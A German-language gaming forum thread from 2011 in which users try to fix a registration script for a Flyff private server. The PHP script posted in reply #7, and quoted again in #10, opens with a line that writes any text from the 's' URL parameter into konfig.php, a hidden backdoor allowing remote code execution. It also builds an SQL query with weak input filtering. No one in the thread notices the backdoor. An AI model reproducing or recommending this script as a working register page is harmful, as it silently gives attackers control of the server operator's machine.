Register for your free account! | Forgot your password?

Go Back   elitepvpers > MMORPGs > Flyff > Flyff Private Server
You last visited: Today at 16:48

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Register[Problem]

Discussion on Register[Problem] within the Flyff Private Server forum part of the Flyff category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
Register[Problem]

#
XSedrikX is offline  
Old 05/19/2011, 20:37   #2
 
damir123's Avatar
 
elite*gold: 0
Join Date: Aug 2010
Posts: 501
Received Thanks: 178
hast du die reg_conf.php richtig eingestellt? und auch in /confings/reg_conf.php reingetan? ^^
damir123 is offline  
Old 05/19/2011, 20:43   #3
 
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
Jep, habe ich und db zeug auch schon eingetragen also DB NAME DB PW etc...
XSedrikX is offline  
Old 05/19/2011, 20:44   #4
 
elite*gold: 20
Join Date: Apr 2011
Posts: 86
Received Thanks: 48
genau bekomme auch immer das gleiche fähler!
-PaiN~ is offline  
Old 05/19/2011, 20:45   #5
 
damir123's Avatar
 
elite*gold: 0
Join Date: Aug 2010
Posts: 501
Received Thanks: 178
welches Script benutzt du denn? das von Jusikid?
damir123 is offline  
Old 05/19/2011, 20:46   #6
 
elite*gold: 20
Join Date: Apr 2011
Posts: 86
Received Thanks: 48
ne ganz normale script ich kans ja mal hochladen
-PaiN~ is offline  
Old 05/19/2011, 20:47   #7
 
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>



Das benutze ich !
XSedrikX is offline  
Old 05/19/2011, 20:50   #8
 
damir123's Avatar
 
elite*gold: 0
Join Date: Aug 2010
Posts: 501
Received Thanks: 178
hast du in xampp auch Apache und Mssql an? ^^
damir123 is offline  
Old 05/19/2011, 20:51   #9
 
elite*gold: 12
Join Date: Dec 2010
Posts: 592
Received Thanks: 122
Benutzmal den hier ;3

register.php:

reg_conf.php:

Trafalgar†Law is offline  
Thanks
1 User
Old 05/19/2011, 20:52   #10
 
Jay Niize's Avatar
 
elite*gold: 0
Join Date: Oct 2009
Posts: 4,851
Received Thanks: 3,417
Quote:
Originally Posted by XSedrikX View Post
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>



Das benutze ich !

Dieses s ist wohl nicht in deiner konfig.php vorhanden. Nimm mein Skript :

V14 :

#added by Jusikid : Danny95

V15:
Jay Niize is offline  
Old 05/19/2011, 20:54   #11
 
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
Danke Trafalgar†Law diesmal kommt aber kein fehler aber auch dafür kein register ;(
XSedrikX is offline  
Old 05/19/2011, 21:11   #12
 
elite*gold: 0
Join Date: Apr 2010
Posts: 26
Received Thanks: 3
Das Problem kann man ganz einfach lösen da bei der version 1.7.4 (xampp) geht der Registerscript nicht xampp 1.7.4 is bei dieser Sache scheiße dazu empfehle ich xampp 1.7.3 mit dieser Verion wird dieser Fehler behoben
[ Download Link wurde an den User per Skype geschickt ]

Mit freundlichen Grüßen

Maxe1995
maxe1995 is offline  
Thanks
1 User
Old 05/19/2011, 21:16   #13
 
elite*gold: 12
Join Date: Dec 2010
Posts: 592
Received Thanks: 122
Warum geht Register nicht? Was steht da? oder Kommt da kein Account wenn man sich registriert?
Trafalgar†Law is offline  
Old 05/19/2011, 21:46   #14
 
elite*gold: 0
Join Date: Apr 2010
Posts: 26
Received Thanks: 3
is gefixxt

#close pls
maxe1995 is offline  
Thanks
1 User
Old 05/19/2011, 21:56   #15
 
elite*gold: 12
Join Date: Dec 2010
Posts: 592
Received Thanks: 122
Okay.

Trafalgar†Law is offline  
Reply


Similar Threads Similar Threads
Register problem
02/21/2011 - CO2 Private Server - 17 Replies
Hello, I got a problem with my register script Script: <?php if(isset($_POST) && isset($_POST) && isset($_POST)) { if(!Empty($_POST) && !Empty($_POST) && !Empty($_POST)) {
Register-Problem
02/20/2011 - Flyff Private Server - 12 Replies
Hey alle zusammen, Ich wollte fragen ob ihr mir helfen könnt habe ein kleines problem habe meine registe page eingestellt aber da kommt ein EROR hier mal der Eror : Notice: Undefined index: s in C:\xampp\htdocs\register.php on line 208 Ich würde mich freuen wen ihr mir helfen könnt :D:D:
Register Problem
10/06/2010 - EO PServer Hosting - 10 Replies
Here the problem: Warning: mysql_connect() : Access denied for user: 'test@localhost' (Using password: YES) in C:\xampp\htdocs\config.php on line 16 please help
register problem!
04/13/2009 - WarRock - 2 Replies
moin... also ich hab mir ma warrock geholt kann mich aber nicht registrieren <.< ich hab ja nen acc aber PW kann ich auch nirgends finden bzw. sich das PW neu zu schicken... und bei https://www.gamersfirst.com/register/index.php?g=5 kommt seitenladenfehler? sind da grade warungsarbeiten oder so?
register problem
06/18/2008 - Cabal Online - 1 Replies
whenever I try to register, comes that ImageShack - Hosting :: cabalfehlerkp8.png can someone help me?



All times are GMT +1. The time now is 16:48.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.